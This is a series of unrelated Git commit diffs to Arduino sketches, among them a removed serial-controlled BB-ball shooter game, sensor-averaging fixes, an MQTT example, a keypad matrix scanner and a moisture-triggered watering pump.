- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- */
-
-
-// Pins
-/*******************************************************************************************/
-#define pinMotor1 5
-#define pinMotor2 2
-#define pinMotor3 3
-
-#define pinServo1 46
-#define pinServo2 45
-#define pinServo3 44
-
-#define pinSolenoid1 4
-#define pinSolenoid2 6
-#define pinSolenoid3 7
-
-
-// Parameters
-/*******************************************************************************************/
-#define DEBUG //Defining DEBUG turns ON debugging messages
-
-#define commsTimeout 200 //The maximum time that a received serial command can take, in mS
-
-#define ballReleaseTime 100 //The time that the solenoid needs to be activated for to release a ball, in mS
-
-#define motorLevel1 255
-#define motorLevel2 255
-#define motorLevel3 255
-
-#define angleLowest 30 //The minimum allowable angle
-#define angleHighest 150 //The maximum allowable angle
-
-// Libraries & Objects
-/*******************************************************************************************/
-#include <Servo.h>
-Servo servo1; //Declare 3 instances of servo objects
-Servo servo2;
-Servo servo3;
-
-//Function Prototypes
-void sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);
-
-// Constants
-/*******************************************************************************************/
-byte commandLength[255]; //The number of data bytes for each command type for serial comms
-const byte solenoidPins[] = {
-  0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; //A map for the solenoid pins
-const byte motorPins[] = {
-  0,pinMotor1,pinMotor2,pinMotor3}; //A map for the solenoid pins
-
-
-
-// Global Variables
-/*******************************************************************************************/
-byte commandID=0;
-byte bytesRemaining; //
-char buffer[5];
-unsigned long timer; //A multi-purpose timer
-
-unsigned long ballReleaseTimer[4]; //Saves when the last ball was released.
-boolean ballReleasing[] = {
-  0,0,0,0}; //Indicates whether we are in the process of releasing a ball
-
-/*
-▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- // Setup
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- */
-void setup(){
-  // Constants
-  /*******************************************************************************************/
-  commandLength[1]=2;
-  commandLength[2]=1;
-
-  commandLength[0x80]=0;
-  commandLength[0xE0]=1;
-  commandLength[0xE1]=1;
-  commandLength[0xE2]=2;
-
-  // Pin Modes and Setup
-  /*******************************************************************************************/
-  for (byte i=1;i<4;i++){
-    pinMode(motorPins[i],OUTPUT);
-    pinMode(solenoidPins[i],OUTPUT);
-
-    analogWrite(motorPins[i],255);
-    digitalWrite(solenoidPins[i],LOW);
-  }
-
-
-
-  // Other Setup Code
-  /*******************************************************************************************/
-  Serial.begin(9600);
-  Serial.setTimeout(commsTimeout);
-#ifdef DEBUG
-  Serial.println("Arduino Start");
-#endif
-
-
-  //Attach the servo objects
-  servo1.attach(pinServo1,900,2100); //Include the maximum and minimum pulse widths.
-  servo2.attach(pinServo2,900,2100);
-  servo3.attach(pinServo3,900,2100);
-
-
-  //Wait until 'Game Start' button is pressed
-
-  //add here later
-  //Send 'Game Start' message to laptop
-  sendMessage(0x80);
-
-
-  //Set up the PWM DC motor control signals
-  analogWrite(pinMotor1,motorLevel1);
-  analogWrite(pinMotor2,motorLevel2);
-  analogWrite(pinMotor3,motorLevel3);
-
-
-  //Prototyping stuff DELETE ME!  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-  //analogWrite(pinMotor1,0);
-
-  //    releaseBall(1);
-
-  //  while (true) { //Cycle endlessly
-  //    setShooterAngle(1,90);
-  //    delay(1000);
-  //    setShooterAngle(1,45);
-  //    delay(1000);
-  //    setShooterAngle(1,135);
-  //    delay(1000);
-  //  }
-
-}
-
-
-/*
-▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- // Loop
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- */
-void loop(){
-  checkSerial(); //Check for incoming commands, and execute them
-
-  checkSolenoids(); //Deactivates any solenoids when needed
-
-}
-
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*checkSerial
-/*******************************************************************************************/
-void checkSerial(){
-  if (Serial.available()) {
-    //Search for the initization sequence
-    if (Serial.read()=='G'){
-      timer=millis()+commsTimeout;
-      while (!Serial.available()){ //Wait until another character is available
-        if (millis()>timer) { //Exit the loop if we don't receive another character
-          break;
-        }
-      }
-      if (Serial.peek()=='O'){
-        Serial.read(); //Remove the 'O' from the serial buffer.
-        //Initialization Sequence detected!
-
-#ifdef DEBUG
-        Serial.println("'G O' found!");
-#endif
-
-        timer=millis()+commsTimeout;
-        while (!Serial.available()){ //Wait until another character is available
-          if (millis()>timer) { //Exit the loop if we don't receive another character
-            break;
-          }
-        }
-        commandID=Serial.read(); //This byte is the command ID
-
-        //Now, read the required number of data bytes into the array 'buffer'
-        Serial.readBytes(buffer,commandLength[commandID]);
-
-        //Execute the command
-        executeCommand();
-      }
-    }
-  }
-}
-
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*executeCommand
-/*******************************************************************************************/
-//This function executes whatever the necessary action is, as told by the command and data
-//received through serial comms
-void executeCommand(){
-  switch (commandID){
-  case 1:
-    //Aim shooter <db1> to angle defined by <db2>
-    setShooterAngle(buffer[0],(byte) buffer[1]);
-    break;
-  case 2:
-    //Release a ball on shooter <db1>
-    releaseBall(buffer[0]);
-    break;
-  default:
-#ifdef DEBUG
-    Serial.print("Unrecognized command ID: ");
-    Serial.println(commandID);
-#endif
-    //Send error feedback to laptop
-    sendMessage(0xE0,commandID);
-  }
-}
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*setShooterAngle
-/*******************************************************************************************/
-//This function changes the servo signal for shooter <shooterNum> to the angle defined by
-// <angle>.  <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.
-void setShooterAngle(byte shooterNum, byte angle){
-
-  //  unsigned int output =   (((unsigned int) angle-1)*137)/29+900; // 137/29 = 4.724 = 1200/254, the scaling factor to get to uS
-
-#ifdef DEBUG
-  Serial.print("Setting shooter ");
-  Serial.print(shooterNum);
-  Serial.print(" to ");
-  Serial.println(angle);
-#endif
-
-  //Set the servo output.  Use a switch statement to use the correct servo object.
-  if (angle<angleLowest || angle>angleHighest) {
-    //The angle is invalid! Don't move the shooter, and send feedback
-    sendMessage(0xE2,shooterNum,angle);
-  }
-  else{
-    switch (shooterNum) {
-    case 1:
-      servo1.write(angle);
-      break;
-    case 2:
-      servo2.write(angle);
-      break;
-    case 3:
-      servo1.write(angle);
-      break;
-    default:
-#ifdef DEBUG
-      Serial.print("Unrecognized shooter Num: ");
-      Serial.println(shooterNum);
-#endif
-      //Send unrecognized shooter num feedback to laptop
-      sendMessage(0xE1,shooterNum);
-    }
-  }
-}
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*releaseBall
-/*******************************************************************************************/
-//This function releases one BB (hopefully) from shooter <shooterNum>
-void releaseBall(byte shooterNum) {
-
-#ifdef DEBUG
-  Serial.print("Releasing ball from shooter: ");
-  Serial.println(shooterNum);
-#endif
-  if (shooterNum<1 || shooterNum>3) { //Check that the shooter number is valid
-    #ifdef DEBUG
-          Serial.print("Unrecognized shooter Num: ");
-          Serial.println(shooterNum);
-    #endif
-          //Send unrecognized shooter num feedback to laptop
-          sendMessage(0xE1,shooterNum);
-  }
-
-  digitalWrite(solenoidPins[shooterNum],HIGH); //Activate the solenoid: open the passage
-
-  ballReleaseTimer[shooterNum]=millis()+ballReleaseTime; //Set the timer for deactivating the solenoid
-  ballReleasing[shooterNum]=1; //Indicate that we are releasing a ball
-}
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*checkSolenoids
-/*******************************************************************************************/
-//Check whether there are any solenoids that need to be deactivated
-void checkSolenoids(){
-  for (byte i=1;i<4;i++){ //Check all 3 solenoids
-    if (ballReleasing[i]==1){ //If a ball is currently being released
-      if (millis()>ballReleaseTimer[i]){ //If enough time has passed
-        digitalWrite(solenoidPins[i],LOW); //Deactivate the solenoid: close the passage
-        ballReleasing[i]=0; //Indicate that the ball is no longer being released
-#ifdef DEBUG
-        Serial.print("Deactivating solenoid: ");
-        Serial.println(i);
-#endif
-      }
-    }
-  }
-}
-
-
-/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-/*sendMessage
-/*******************************************************************************************/
-//This function sends commands to the laptop.  It has optional inputs.
-void sendMessage (byte CMD,byte in1, byte in2, byte in3) {
-  Serial.print("GO");
-  if (commandLength[CMD]>0){
-    Serial.print(in1);
-    if (commandLength[CMD]>1){
-      Serial.print(in2);
-      if (commandLength[CMD]>2){
-        Serial.print(in3);
-      }
-    }
-  }
-  Serial.println(); //Print a new line character
-}
-


Update ButtonInterrupt.ino

Update ButtonInterrupt.ino

--- examples/More/ButtonInterrupt/ButtonInterrupt.ino
+++ examples/More/ButtonInterrupt/ButtonInterrupt.ino
@@ -38,7 +38,7 @@
   // Make pin 2 HIGH by default
   pinMode(2, INPUT_PULLUP);
   // Attach INT to our handler
-  attachInterrupt(0, checkPin, CHANGE);
+  attachInterrupt(digitalPinToInterrupt(2), checkPin, CHANGE);
 }

 void checkPin()


Remove EEPROM clearing in setup()

Remove EEPROM clearing in setup()

--- KugelmatikFirmware/KugelmatikFirmware.ino
+++ KugelmatikFirmware/KugelmatikFirmware.ino
@@ -41,11 +41,7 @@
 	serialPrintF("Kugelmatik Firmware booting up, version: ");
 	serialPrintln(BUILD_VERSION);

-	for (int i = 0; i < 200; i++)
-		writeEEPROM((uint8_t)'A');
-
 	initEEPROM();
-
 	writeEEPROM("Kugelmatik");

 	setupLeds();


fixed remaining bugs in sound_sensor

fixed remaining bugs in sound_sensor

--- arduino-firmware/sound_sensor.ino
+++ arduino-firmware/sound_sensor.ino
@@ -1,5 +1,4 @@

-const int trackingSeconds = 30;
 short soundArray [3200];
 const int measuresPerSec = sizeof(soundArray) / sizeof(soundArray[0]);

@@ -73,22 +72,24 @@

 long sumOfAvgs = 0;
 int avgIndex = 0;
-int rollingAvgs [10];
-float soundRollingAvg(int newVal) { return updateRollingAvg(rollingAvgs,&sumOfAvgs,&avgIndex,newVal); }
+int rollingAvgs [30];
+float soundRollingAvg(int newVal) {
+  Serial.println(avgIndex);
+  return updateRollingAvg(rollingAvgs,&sumOfAvgs,&avgIndex,newVal); }

 long sumOfAvgsSqr = 0;
 int avgSqrIndex = 0;
-int rollingAvgsSqr [10];
+int rollingAvgsSqr [30];
 float soundRollingAvgSqr(int newVal) { return updateRollingAvg(rollingAvgsSqr,&sumOfAvgsSqr,&avgSqrIndex,newVal); }

 long sumOfPeakAvgs= 0;
 int peakAvgIndex = 0;
-int rollingPeakAvgs [10];
+int rollingPeakAvgs [30];
 float soundRollingPeakAvg(int newVal) { return updateRollingAvg(rollingPeakAvgs,&sumOfPeakAvgs,&peakAvgIndex,newVal); }

 long sumOfDevs = 0;
 int devIndex = 0;
-int rollingDevs [10];
+int rollingDevs [30];
 float soundRollingDeviation(int newVal) { return updateRollingAvg(rollingDevs,&sumOfDevs,&devIndex,newVal); }

 float updateRollingAvg(int arr[], long *total, int *updateIndex, int newVal) {
@@ -96,9 +97,8 @@
   *total += newVal;
   arr[*updateIndex] = newVal;

-  int len = sizeof(arr) / sizeof(arr[0]);
-  *updateIndex = (*updateIndex + 1) % len;
-  return (float) *total / len;
+  *updateIndex = (*updateIndex + 1) % 30;
+  return (float) *total / 30;
 }


fix typo and assign vars

fix typo and assign vars

--- compare-arduino/compare-arduino.ino
+++ compare-arduino/compare-arduino.ino
@@ -33,7 +33,7 @@
 AM2321 am2321;

 void setup() {
-  Serial.begin(115200);
+  Serial.begin(9600);
   Serial1.begin(57600);
   g3.begin(9600);
   a4.begin(9600);
@@ -68,8 +68,8 @@
     Serial.println(pm100);
   }
   */
-  sht31.readTemperature();
-  sht31.readHumidity();
+  t = sht31.readTemperature();
+  h = sht31.readHumidity();
   delay(100);
   if(!isnan(t) && !isnan(h)) {
     Serial.print("SHT31 :: temp=");
@@ -80,8 +80,8 @@
     t = -1;
     h = -1;
   }
-  dht.readTemperature();
-  dht.readHumidity();
+  t = dht.readTemperature();
+  h = dht.readHumidity();
   if(!isnan(t) && !isnan(h)) {
     Serial.print("AM2302 :: temp=");
     Serial.print(t);


Add logging for actual motor speeds.

Add logging for actual motor speeds.

--- linefollow/linefollow.ino
+++ linefollow/linefollow.ino
@@ -110,19 +110,23 @@

 void driveLeftForward(int speed) {
   int adjustedSpeed = -0.85 * speed;
+  Serial.println(-1 * adjustedSpeed);
   motors.leftMotor(adjustedSpeed);
 }

 void driveLeftBackward(int speed) {
   int adjustedSpeed = 0.85 * speed;
+  Serial.println(-1 * adjustedSpeed);
   motors.leftMotor(adjustedSpeed);
 }

 void driveRightForward(int speed) {
+  Serial.println(speed);
   motors.rightMotor(speed);
 }

 void driveRightBackward(int speed) {
+  Serial.println(-1 * speed);
   motors.rightMotor(-1 * speed);
 }


Sketch updated to support 6 analog sensors

--- arduino/bp2013h1_sketch1.ino
+++ arduino/bp2013h1_sketch1.ino
@@ -6,6 +6,8 @@

 int plant1_value = 0;
 int plant2_value = 0;
+int plant3_value = 0;
+int plant4_value = 0;
 int temperature_value = 0;
 int light_value = 0;

@@ -31,8 +33,10 @@
     // read sensor data
     plant1_value = analogRead(A0);
     plant2_value = analogRead(A1);
-    light_value = analogRead(A2);
-    temperature_value = analogRead(A3);
+    plant3_value = analogRead(A2);
+    plant4_value = analogRead(A3);
+    light_value = analogRead(A4);
+    temperature_value = analogRead(A5);

     // set led bar accordingly to plant1_value
     led_bar_value = round(plant1_value/80); // min: 0, max: 800
@@ -63,6 +67,10 @@
             Serial.print(plant1_value);
             Serial.print(", \"plant2_value\": ");
             Serial.print(plant2_value);
+            Serial.print(", \"plant3_value\": ");
+            Serial.print(plant3_value);
+            Serial.print(", \"plant4_value\": ");
+            Serial.print(plant4_value);
             Serial.print(", \"light_value\": ");
             Serial.print(light_value);
             Serial.print(", \"temperature_value\": ");


Only quickstart

Only quickstart

--- examples/mqtt_bluemix_test/mqtt_bluemix_test.ino
+++ examples/mqtt_bluemix_test/mqtt_bluemix_test.ino
@@ -1,4 +1,5 @@
 #define DEBUG_MODE
+#define DEBUG_LEVEL_VERBOSE

 #include <ESP8266WiFi.h>
 #include <ArduinoJson.h>
@@ -80,9 +81,9 @@
     }

     *(config.clientId) = String("d:quickstart:arduino:") + result;
-    *(config.username) = String("test");
-    *(config.password) = String("test");
-    *(config.channelId) = String("esp8266/");
+    // *(config.username) = String("test");
+    // *(config.password) = String("test");
+    // *(config.channelId) = String("esp8266/");
     *(config.topicPub) = "iot-2/evt/status/fmt/json";
 }

@@ -109,16 +110,4 @@
 void loop() {
     reconnect_wifi_if_link_down();
     mqtt->loop();
-
-    // ตรวจจับการกด Switch
-    if (digitalRead(0) == LOW) {
-        // วนลูปจนกว่าจะเอาปล่อย Switch
-        while(digitalRead(0) == LOW) {
-            mqtt->loop();
-            yield();
-        }
-        String status = "0";
-        mqtt->sync_pub(status);
-    }
-
 }


Removing Refrences To Deleted Code

Removing Refrences To Deleted Code

--- arduino_sketchbook/arduino_multicast_control/arduino_multicast_control.ino
+++ arduino_sketchbook/arduino_multicast_control/arduino_multicast_control.ino
@@ -1,7 +1,6 @@
 #include <ros.h>
 #include <arduino_control/ArduinoControl.h>
 #include <Ethernet.h>
-#include <EthernetUdp.h>
 #include <SPI.h>
 #include <utility/w5100.h>

@@ -35,7 +34,11 @@
   while(!Ethernet.begin(mac));

   //Setup socket s to utilize udp multicasting
-  udp.beginMulticast(IPAddress(multicast_ip), 1234);
+  W5100.writeSnDIPR(s, multicast_ip);
+  W5100.writeSnDPORT(s, multicast_port);
+  W5100.writeSnDHAR(s, multicast_mac);
+  W5100.writeSnMR(s, SnMR::UDP | SnMR::MULTI);
+  W5100.execCmdSn(s, Sock_OPEN);
 }

 void loop(){


apollo time slots

apollo time slots

--- org/lrn/apollo/apollo.ino
+++ org/lrn/apollo/apollo.ino
@@ -18,9 +18,9 @@
 int PinIn [cols_cnt] {6,7,8,9,10,11}; // входы

 const char value[rows_cnt][cols_cnt]
-{ {' ', '0', ',', '+', '*', '='},
+{ {'X', '0', ',', '+', '*', '='},
   {'1', '2', '3', '-', '1', '~'},
-  {'4', '5', '6', '*', '^', ' '},
+  {'4', '5', '6', '*', '^', 'B'},
   {'7', '8', '9', '/', '%', 'C'}
 };

@@ -48,32 +48,40 @@

 byte control_digit_pins[] = { digit0, digit1, digit2, digit3 };  // pins to turn off-&-on digits

-void matrix ()
+char matrix ()
 {
-  for (int i = 0; i < rows_cnt; i++) // цикл, передающий 0 по всем столбцам
-  {
-    digitalWrite(PinOut[i], LOW);
-    //Serial.print(i);
-    //Serial.println("");
-    for (int j = 0; j < cols_cnt; j++) // цикл, принимающих 0 по строкам
-    {
-      //Serial.print(" ");
-      //Serial.print(j);
-      //Serial.print(" out:");
-      //Serial.print(PinOut[i]);
-      //Serial.print(" in:");
-      //Serial.print(PinIn[j]);
-      if (digitalRead(PinIn[j]) == LOW) // если один из указанных портов входа равен 0, то..
-      {
-        //Serial.print(" ["); Serial.print(i); Serial.print(" "); Serial.print(j); Serial.print("]");
-        Serial.println(value[i][j]);
-        delay(200);
-      }
-      //Serial.println("");
-      //delay(200);
+    char result = 'X';
+    /* цикл, передающий 0 по всем столбцам */
+    for (int i = 0; i < rows_cnt; i++) {
+        digitalWrite(PinOut[i], LOW);
+        /* Serial.print(i); */
+        /* Serial.println(""); */
+        /* цикл, принимающих 0 по строкам */
+        for (int j = 0; j < cols_cnt; j++)  {
+            /* Serial.print(" "); */
+            /* Serial.print(j); */
+            /* Serial.print(" out:"); */
+            /* Serial.print(PinOut[i]); */
+            /* Serial.print(" in:"); */
+            /* Serial.print(PinIn[j]); */
+            /* если один из указанных портов входа равен 0, то.. */
+            if (digitalRead(PinIn[j]) == LOW) {
+                /* Serial.print(" [ "); */
+                /* Serial.print(i); */
+                /* Serial.print(" "); */
+                /* Serial.print(j); ; */
+                result = value[i][j];
+                /* Serial.print(value[i][j]); */
+                /* Serial.print(" ]"); */
+                /* Serial.println(" "); */
+                /* delay(200); */
+            }
+            /* Serial.println(""); */
+            /* delay(200); */
+        }
+        digitalWrite(PinOut[i], HIGH);
     }
-    digitalWrite(PinOut[i], HIGH);
-  }
+    return result;
 }

 void display_off () { // turn off digits
@@ -126,8 +134,19 @@

 int countdown_base = 90*60+21;
 volatile int countdown;
+unsigned long time = 0;

 void loop() {
+    /* time cycle */
+    unsigned long new_time = millis();
+    if ((new_time > (time + 200))) {
+        time = new_time;
+        /* Serial.println(time); */
+        char symbol = matrix();
+        if ('X' != symbol) {
+            Serial.println(symbol);
+        }
+    }
     byte displayDigits[] = { 0b00111111, 0b00111000,
                              0b01110111, 0b01110110 };
     //hex2disp( countdown, displayDigits );


Fix #408: Shorten compliance app-mode msg/US DR0

--- examples/compliance-otaa-halconfig/compliance-otaa-halconfig.ino
+++ examples/compliance-otaa-halconfig/compliance-otaa-halconfig.ino
@@ -42,7 +42,8 @@
 static const u1_t PROGMEM APPKEY[16] = { 0, 0, 0, 0, 0, 0, 0, 0,  0, 0, 0, 0, 0, 0, 0, 2 };
 void os_getDevKey (u1_t* buf) {  memcpy_P(buf, APPKEY, 16);}

-static uint8_t mydata[] = "Hello, world!";
+// this data must be kept short -- max is 11 bytes for US DR0
+static uint8_t mydata[] = { 0xCA, 0xFE, 0xF0, 0x0D };
 static osjob_t sendjob;

 // Schedule TX every this many seconds (might become longer due to duty


Improve compliance application sign-on

Improve compliance application sign-on

--- examples/compliance-otaa-halconfig/compliance-otaa-halconfig.ino
+++ examples/compliance-otaa-halconfig/compliance-otaa-halconfig.ino
@@ -21,6 +21,8 @@

 #include <SPI.h>
 class cEventQueue;
+
+#define APPLICATION_VERSION _mcci_arduino_version_calc(3,0,99,10)

 //
 // For compliance tests with the RWC5020A, we use the default addresses
@@ -757,12 +759,13 @@
     setup_printSignOnDashLine();

     Serial.println(filebasename(__FILE__));
-    Serial.print(F("LMIC version "));
+    Serial.print(F("Version "));
+    printVersion(APPLICATION_VERSION);
+    Serial.print(F("\nLMIC version "));
     printVersion(ARDUINO_LMIC_VERSION);
     Serial.print(F(" configured for region "));
     Serial.print(CFG_region);
-    Serial.println('.');
-    Serial.println(F("Remember to select 'Line Ending: Newline' at the bottom of the monitor window."));
+    Serial.println(F(".\nRemember to select 'Line Ending: Newline' at the bottom of the monitor window."));

     setup_printSignOnDashLine();
     printNl();


code organization

code organization

--- firmware_tiny85/firmware_tiny85.ino
+++ firmware_tiny85/firmware_tiny85.ino
@@ -39,7 +39,7 @@
 //                            +------+

-// --- DAC / SPI setup:
+// --- DAC / SPI:

 DAC_config_t dac_config = MCP4821_config();
@@ -58,7 +58,7 @@
                        };

-// --- Serial setup:
+// --- Serial interface:

 #define RX_pin ATTINY85_PIN_2
@@ -99,8 +99,15 @@

     r1.25;

-FIXME: should I also support 'XFF;', which is the equivalent of 'xFF;' but with gain bit set?
+Dump the current state:
+
+    ?;
+
 */
+
+
+// --- buffer
+

 #define MIN_EXPECTED_BUFF_LEN 2 // "+;"
 #define MAX_EXPECTED_BUFF_LEN 9 // "v12.3456;"
@@ -110,57 +117,11 @@
 char_buffer_t buffer = { .len = BUFF_LEN, .bytes = buffer_bytes };

-// --- EEPROM
+// --- globals

 float LM317_vref = 1.25;
 float op_amp_gain = 4.3;
-
-#ifdef HAS_EEPROM_BACKED_CALIBRATION_VALUES
-
-uint8_t EEMEM eeprom_has_been_initialized_token_address;
-#define EEPROM_HAS_BEEN_INITIALIZED_CODE 42
-
-float EEMEM LM317_vref_EEPROM_address;
-
-float EEMEM op_amp_gain_EEPROM_address;
-
-
-bool eeprom_has_been_initialized()
-{
-  uint8_t has_been_initialized_token = eeprom_read_byte(&eeprom_has_been_initialized_token_address);
-  return (has_been_initialized_token == EEPROM_HAS_BEEN_INITIALIZED_CODE);
-}
-
-
-void initialize_eeprom()
-{
-  eeprom_write_byte(&eeprom_has_been_initialized_token_address, EEPROM_HAS_BEEN_INITIALIZED_CODE);
-  eeprom_write_float(&LM317_vref_EEPROM_address, LM317_vref);
-  eeprom_write_float(&op_amp_gain_EEPROM_address, op_amp_gain);
-}
-
-
-void load_values_from_eeprom()
-{
-  LM317_vref = eeprom_read_float(&LM317_vref_EEPROM_address);
-  op_amp_gain = eeprom_read_float(&op_amp_gain_EEPROM_address);
-}
-
-
-void bootstrap_EEPROM()
-{
-  if (eeprom_has_been_initialized() == false)
-  {
-    initialize_eeprom();
-  }
-  else
-  {
-    load_values_from_eeprom();
-  }
-}
-
-#endif // HAS_EEPROM_BACKED_CALIBRATION_VALUES

 // ---
@@ -288,6 +249,59 @@
 }

+// --- EEPROM
+
+
+#ifdef HAS_EEPROM_BACKED_CALIBRATION_VALUES
+
+uint8_t EEMEM eeprom_has_been_initialized_token_address;
+#define EEPROM_HAS_BEEN_INITIALIZED_CODE 42
+
+float EEMEM LM317_vref_EEPROM_address;
+
+float EEMEM op_amp_gain_EEPROM_address;
+
+
+bool eeprom_has_been_initialized()
+{
+  uint8_t has_been_initialized_token = eeprom_read_byte(&eeprom_has_been_initialized_token_address);
+  return (has_been_initialized_token == EEPROM_HAS_BEEN_INITIALIZED_CODE);
+}
+
+
+void initialize_eeprom()
+{
+  eeprom_write_byte(&eeprom_has_been_initialized_token_address, EEPROM_HAS_BEEN_INITIALIZED_CODE);
+  eeprom_write_float(&LM317_vref_EEPROM_address, LM317_vref);
+  eeprom_write_float(&op_amp_gain_EEPROM_address, op_amp_gain);
+}
+
+
+void load_values_from_eeprom()
+{
+  LM317_vref = eeprom_read_float(&LM317_vref_EEPROM_address);
+  op_amp_gain = eeprom_read_float(&op_amp_gain_EEPROM_address);
+}
+
+
+void bootstrap_EEPROM()
+{
+  if (eeprom_has_been_initialized() == false)
+  {
+    initialize_eeprom();
+  }
+  else
+  {
+    load_values_from_eeprom();
+  }
+}
+
+#endif // HAS_EEPROM_BACKED_CALIBRATION_VALUES
+
+
+// ---
+
+
 command_t read_command(SoftwareSerial *serial, char_buffer_t *buffer)
 {
   // --- read the first character


Notes on reading in matlab

Notes on reading in matlab

--- platformio/src/adc_tr.ino
+++ platformio/src/adc_tr.ino
@@ -3,6 +3,9 @@
 When reading, the first 4 bytes are the timestamp (unsigned long).
 Subsequent pairs of bytes are each input channel (uint8).
 So the expected size per line is 4 + (2 * n), n being the number of channels.
+To convert in MATLAB,
+typecast(uint8(a), 'int32') for long and
+typecast(uint8(a), 'int16')
 */

 #include "ADC.h"


clean up code comment on code so judges understand

--- motor_pump/motor_pump.ino
+++ motor_pump/motor_pump.ino
@@ -1,53 +1,67 @@
+/*
+TSA microcontroller
+Watering system code
+Ethan Bartlett
+git hub link:
+https://www.github.com/portalmaster12/plant/
+ */
+
+//Includes Average library to make caculating averages 10x easier
 #include <Average.h>

-// Reserve space for 10 entries in the average bucket.
-// Change the type between < and > to change the entire way the library works.
-
+//names the set of measures for calculating the mean and states it
+//has 12 entries
 Average<int> moistoure(12);
-
+//code for which pin the button input comes from
 const int switchPin =2;
+//code for which pin outputs control to the motor/pump
 const int motorPin =10;
+//variable to tell whether button is pushed
 int switchstate = 0;
+//moisture sensor analog input
 const int Input = A5;
-//float moistoure[]{0,0,0,0,0,0,0,0,0,0,0,0};
-//int ByteRecieved;
-int death =0;
+//says when to check moisture sensor to make 12 readings
+//~1 second
+int counter =0;
+//integer to hold the mean calculation
 int average =  0;

-
-
-
+//set up arduino board
+//declares which pins are inputs, outputs, and
+//sets up reading on serial monitor for moisture data
 void setup() {
   pinMode(motorPin, OUTPUT);
   pinMode(switchPin, INPUT);
   pinMode (Input, INPUT);
   Serial.begin(9600);
   Serial.println(analogRead(Input));
-
 }

+//has the code that runs the process
 void loop(){
+  //adds moisture reading to mean list
   moistoure.push(analogRead(Input));
-switchstate = digitalRead(switchPin);
-average = moistoure.mean();
- delay(83);
- //Serial.println(switchstate);
- death++;
- if (death >11){
-   death = 0;
- }
-  if (switchstate == HIGH | average < 642 {
-    digitalWrite(motorPin, HIGH);
-
+  //tell whether button is pressed
+  switchstate = digitalRead(switchPin);
+  //calculate average of moisture readings
+  average = moistoure.mean();
+  //take reading every ~1/12 of a second and adds 1 to counter
+  delay(83);
+  counter++;
+  //reset counter after ~1 second and continue code
+  if (counter >11){
+     counter = 0;
+  }
+  //turn on pump if water is low or button is pushed
+  if (switchstate == HIGH | average < 642) {
+      digitalWrite(motorPin, HIGH);
   }
   else{
-    digitalWrite(motorPin,LOW);
-
+      digitalWrite(motorPin,LOW);
   }
-
-  if(death==11){
-    //ByteRecieved = Serial.read();
-    //Serial.write('Average:::');
+  //write average readings every second to serial monitor for
+  //troubleshooting
+  if(counter==11){
     Serial.println(average);

   }


changing serial speed

changing serial speed

--- ESP8266/SoftAPSocketServer/SoftAPSocketServer.ino
+++ ESP8266/SoftAPSocketServer/SoftAPSocketServer.ino
@@ -60,7 +60,7 @@

 void setup() {

-    Serial.begin(115200);
+    Serial.begin(9600);

     //Serial.setDebugOutput(true);


fixing

fixing

